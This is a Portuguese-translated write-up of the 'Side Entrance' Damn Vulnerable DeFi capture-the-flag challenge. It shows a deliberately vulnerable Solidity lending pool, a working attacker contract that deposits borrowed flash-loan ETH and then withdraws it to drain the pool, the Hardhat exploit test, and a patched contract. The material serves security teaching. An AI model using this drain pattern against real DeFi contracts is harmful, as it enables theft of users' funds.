Damn Vulnerable DeFi (Maldita DeFi Vulnerável) é uma série de jogos CTF (Capture the flag ou Capturar o sinalizador) onde o jogador deve encontrar uma vulnerabilidade para quebrar ou roubar um protocolo.
Esses jogos educativos são muito interessantes no sentido de que eles imitam aplicativos reais (flashloans, pool, yield, …), permitindo-nos aprender não apenas sobre segurança na web3, mas também o que é DeFi.
Link aqui: https://www.damnvulnerabledefi.xyz/index.html
Nesta série de artigos, apresentarei os desafios e suas soluções.
#4 Side Entrance (Entrada lateral)
Um pool de empréstimos surpreendentemente simples permite que qualquer pessoa deposite ETH e retire-o a qualquer momento.
Este pool de empréstimos muito simples já possui 1.000 ETH em saldo e está oferecendo empréstimos relâmpago gratuitos usando o ETH depositado para promover seu sistema.
Você deve pegar todo o ETH do pool de empréstimos.
Veja os contratos
Complete o desafio
Descrição do protocolo
Em primeiro lugar, precisamos entender como funciona o protocolo.
O protocolo é composto por 1 contrato principal:
Este é o conjunto de empréstimos. Seu código é realmente conciso e simples: os usuários podem depositar ou retirar ETH de/para o pool. Eles também podem obter um flashloan (empréstimo relâmpago) dele chamando sua função flashLoan
de um contrato, que então chamará uma função execute
dentro do chamador.
SideEntranceLenderPool
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
using Address for address payable;
mapping (address => uint256) private balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Não há saldo suficiente de ETH");
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "Empréstimo relâmpago não foi pago");
}
}
Notas rápidas após a primeira leitura:
- Como nos desafios anteriores, o contrato utiliza a biblioteca de endereços Open Zeppelin que substitui as funções transfer/send e call/staticcall/delegatecall por outras mais seguras.
- o mapeamento
balances
é privado, geralmente eles são definidos como públicos para que o front-end possa acessá-los e mostrar as informações ao usuário. - Nenhuma proteção de reentrância na função
withdraw
, embora o padrão de interação check-effect seja implementado: verifique se a operação é válida, atualize o saldo e execute (sendValue verifica se o remetente tem saldo suficiente). - A função
flashLoan
também não possui um protetor de reentrância e pode ser um problema seexecute
chamar de voltaflashLoan
, pois balanceBefore é recalculado em cada chamada. - Nesse desafio, o pool de credores não possui uma função de recebimento ou fallback; portanto, a única maneira de enviar ETH para o pool é por meio da função
deposit
que é pagável.
Solução
Você pode pensar que eu implementaria a vulnerabilidade no marcador 4, mas há uma maneira mais rápida de roubar esse contrato.
O contrato não impede que um usuário chame a função deposit
durante o empréstimo relâmpago. Isso significa que posso emprestar fundos, enviar o ETH para o contrato enquanto os deposito em meu próprio saldo, que é rastreado pelo mapeamento balances
.
Enquanto aumenta meu balances
, também aumenta o saldo “nativo” de ETH do pool.
Ao pegar emprestado todo o saldo de ETH do pool e depositá-lo, posso posteriormente chamar a função de retirada e drenar todos os fundos.
Aqui está o contrato do atacante:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// importe "contracts/side-entrance/SideEntranceLenderPool.sol";
import "hardhat/console.sol";
interface ISideEntranceLenderPool {
function deposit() external payable;
function flashLoan(uint256 amount) external;
function withdraw() external;
}
contract PoolAttacker {
address payable private pool;
address private owner;
uint256 amount;
constructor (address _pool){
owner =msg.sender;
pool = payable(_pool);
}
function attack(uint256 _amount) external {
amount = _amount;
ISideEntranceLenderPool(pool).flashLoan(amount);
}
function execute() external payable {
(bool success, ) = pool.call{value:amount}(abi.encodeWithSignature("deposit()"));
require(success);
}
function steal() external payable {
ISideEntranceLenderPool(pool).withdraw();
(bool success, ) = payable(msg.sender).call{value:amount}("");
require(success);
}
receive() external payable {}
}
Em seguida, posso adicionar minha chamada web3 no arquivo challenge.js escrevendo isso na seção Exploit:
it('Exploit', async function () {
console.log("\nEXPLOIT");
const PoolAttackerFactory = await ethers.getContractFactory(
'PoolAttacker',attacker);
this.poolAttacker = await PoolAttackerFactory.deploy(this.pool.address);
console.log("poolAttacker address: ", this.poolAttacker.address);
this.poolAttacker.attack(ETHER_IN_POOL);
this.poolAttacker.steal();
/** CODIFIQUE SEU EXPLOIT AQUI */
});
Etapas de mitigação recomendadas
Adicionando um sinalizador flashLoanInProgress
e definindo-o como True quando o empréstimo relâmpago começar e definindo-o como False quando terminar. Ao fazer isso, podemos bloquear a função withdraw
se o sinalizador for verdadeiro, impedindo que um invasor deposite durante um empréstimo relâmpago.
Aqui está o contrato fixo:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPoolFIXED {
using Address for address payable;
mapping (address => uint256) public balances;
bool flashLoanInProgress;
function deposit() external payable {
require(!flashLoanInProgress, "empréstimo relâmpago em andamento");
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Não há saldo suficiente de ETH");
require(!flashLoanInProgress, "empréstimo relâmpago em andamento");
flashLoanInProgress = true;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "Empréstimo relâmpago não foi pago");
flashLoanInProgress = false;
}
}
Nota a respeito do ponto 4
Eu estava pensando erroneamente que se o contrato tivesse uma função de recebimento, eu poderia ter roubado os fundos de forma diferente, já que a função flashLoan
não implementa guarda de reentrância.
Minha função execute
poderia ter sido assim:
pragma solidity ^0.8.0;
function execute() external payable {
if(address(pool).balance != 0 && msg.value != 0) {
ISideEntranceLenderPool(pool).flashLoan(msg.value);
}
else if (address(pool).balance == 0 && msg.value != 0) {
ISideEntranceLenderPool(pool).flashLoan(0);
}
else {
}
}
Como dito antes, como a variável balanceBefore
é recalculada a cada reentrância, provavelmente eu poderia drenar fundos.
Mas eu estava errado, cada vez que a função flashLoan
é inserida novamente, uma nova instância da chamada e de sua variável são lançadas na memória. Isso significa que, ao final da reentrância terei que passar por todas as instâncias, com seu próprio balanceBefore
no momento em que as entrei, e o requisito final não será atendido, pois o saldo do pool será zero, portanto, a solicitação falhará.
No entanto, se a variável balanceBefore
fosse uma variável de estado, isso teria funcionado.
Espero que tenham gostado deste artigo e até a próxima para um novo desafio!
Artigo escrito por Salah I. e traduzido por Marcelo Panegali
Top comments (0)